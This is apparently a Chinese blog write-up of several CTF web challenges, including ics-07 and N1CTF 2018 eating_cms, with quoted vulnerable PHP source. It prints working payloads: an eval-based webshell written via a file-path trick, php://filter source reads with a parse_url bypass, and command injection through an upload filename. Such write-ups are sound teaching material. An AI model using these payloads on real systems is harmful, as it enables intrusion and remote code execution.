    for($_0=0;$_0<strlen($_o);$_0++){ //循环递增字符串的长度
       
        $_c=substr($_o,$_0,1); //从$_0位置开始,返回1个字符
        $__=ord($_c)+1; //返回字符串首字母的ASCII值
        $_c=chr($__);
        $_=$_.$_c;   //拼接两个变量
    } 
    return str_rot13(strrev(base64_encode($_))); //返回ROT13编码(反转字符串(base64加密($_)))  的结果
}

highlight_file(__FILE__);

据此写出逆序的代码

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$miwen=base64_decode(strrev(str_rot13($miwen)));

$m=$miwen;

for($i=0;$i<strlen($m);$i++){
		
	$_c=substr($m,$i,1);
	$__=ord($_c)-1;    
	$__=chr($__);     

    $_=$_.$__;        

	}

echo strrev($_);        

运行脚本,解出flag

image-20220225163911140

ics-07

打开题目后,只有这个能点开

image-20220225171816747

这个view-source是个超链接,点开获得源码

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>cetc7</title>
  </head>
  <body>
    <?php
    session_start();

    if (!isset($_GET[page])) {
      show_source(__FILE__);
      die();
    }

    if (isset($_GET[page]) && $_GET[page] != 'index.php') {
      include('flag.php');
    }else {
      header('Location: ?page=flag.php');
    }

    ?>

    <form action="#" method="get">
      page : <input type="text" name="page" value="">
      id : <input type="text" name="id" value="">
      <input type="submit" name="submit" value="submit">
    </form>
    <br />
    <a href="index.phps">view-source</a>

    <?php
     if ($_SESSION['admin']) {
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
       }else{
            chdir('uploaded');
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>

    <?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
     ?>

  </body>
</html>

简单审计

利用点在这里

<?php
     if ($_SESSION['admin']) {
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
       }else{
            chdir('uploaded');
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>

但是这里的session不能自己伪造,接着看一下

<?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
     ?>

有点儿像sql注入,但最后经过尝试后发现并不是

看一下这句话

if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
     ?>

意思是只要result有值我们就可以上传文件了

继续看一下进入sql查询的条件

if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
        include 'config.php';

三个条件

1.id存在
2.id的值转为浮点数且不完全等于1
3.假如$a=1,$b=‘1’,$a!=$b不成立但是$a!==$b成立

所以这里绕过很简单,就是1和9之间有字符就行了,比如1-9,1sas9,1(9

之后就发现

image-20220225172701352

然后就准备上传文件了,再看一下这段话

<?php
     if ($_SESSION['admin']) {
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
       }else{
            chdir('uploaded');
           $f = fopen($filename, 'w');
           fwrite($f, $con);
           fclose($f);
       }
     }
     ?>

他会先将文件名拼接到backup目录下,然后进行正则匹配:匹配最后一个点后面的后缀,然后下面的else里面又更改了当前目录。

payload

 con=<?php @eval($_POST['shell']);?>&file=../a.php/.

之后蚁剑连接即可

image-20220225173632784

[N1CTF 2018]eating_cms

随便注册登录

image-20220304174431395

伪协议读源码

/user.php?page=php://filter/convert.base64-encode/resource=user

base64解密

user.php

<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
    Header("Location: index.php");

}
if($_SESSION['isadmin'] === '1'){
    $oper_you_can_do = $OPERATE_admin;
}else{
    $oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){
    if(!isset($_GET['page']) || $_GET['page'] === ''){
        $page = 'info';
    }else {
        $page = $_GET['page'];
    }
}
else{
    if(!isset($_GET['page'])|| $_GET['page'] === ''){
        $page = 'guest';
    }else {
        $page = $_GET['page'];
        if($page === 'info')
        {
//            echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");
            Header("Location: user.php?page=guest");
        }
    }
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
//    $page = 'info';
//}
include "$page.php";
?>

没什么有用的,看看function.php

/user.php?page=php://filter/convert.base64-encode/resource=function

function.php

<?php
session_start();
require_once "config.php";
function Hacker()
{
    Header("Location: hacker.php");
    die();
}


function filter_directory()
{
    $keywords = ["flag","manage","ffffllllaaaaggg"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

function filter_directory_guest()
{
    $keywords = ["flag","manage","ffffllllaaaaggg","info"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

function Filter($string)
{
    global $mysqli;
    $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
    $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
    for ($i = 0; $i < strlen($string); $i++) {
        if (strpos("$whitelist", $string[$i]) === false) {
            Hacker();
        }
    }
    if (preg_match("/$blacklist/is", $string)) {
        Hacker();
    }
    if (is_string($string)) {
        return $mysqli->real_escape_string($string);
    } else {
        return "";
    }
}

function sql_query($sql_query)
{
    global $mysqli;
    $res = $mysqli->query($sql_query);
    return $res;
}

function login($user, $pass)
{
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
    echo $sql;
    $res = sql_query($sql);
//    var_dump($res);
//    die();
    if ($res->num_rows) {
        $data = $res->fetch_array();
        $_SESSION['user'] = $data[username_which_you_do_not_know];
        $_SESSION['login'] = 1;
        $_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
        return true;
    } else {
        return false;
    }
    return;
}

function updateadmin($level,$user)
{
    $sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
    echo $sql;
    $res = sql_query($sql);
//    var_dump($res);
//    die();
//    die($res);
    if ($res == 1) {
        return true;
    } else {
        return false;
    }
    return;
}

function register($user, $pass)
{
    global $mysqli;
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
    $res = sql_query($sql);
    return $mysqli->insert_id;
}

function logout()
{
    session_destroy();
    Header("Location: index.php");
}

?>

有个ffffllllaaaaggg.php

读取

/user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

被过滤了

tips

这里涉及到一个知识点--parse_url解析漏洞

将url改为这样就能读取到了

//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

ffffllllaaaaggg.php

<?php
if (FLAG_SIG != 1){
    die("you can not visit it directly");
}else {
    echo "you can find sth in m4aaannngggeee";
}
?>

m4aaannngggeee.php

<?php
if (FLAG_SIG != 1){
    die("you can not visit it directly");
}
include "templates/upload.html";

?>

访问templates/upload.html

image-20220304175311302

随便上传一个

image-20220304175333507

有个upllloadddd.php

upllloadddd.php

<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
    if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
        die("error:can not move");
    }
}else{
    die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
    unlink($newfile);
    die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
    unlink($newfile);
}
?>

访问m4aaannngggeee页面

image-20220304175616534

注意这里

$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename."

用filename进行命令执行

过滤了 /

所以payload

filename=;cd ..;cat flag_233333;#
posted @ 2022-07-06 14:09  phant0m1  阅读(119)  评论(0编辑  收藏  举报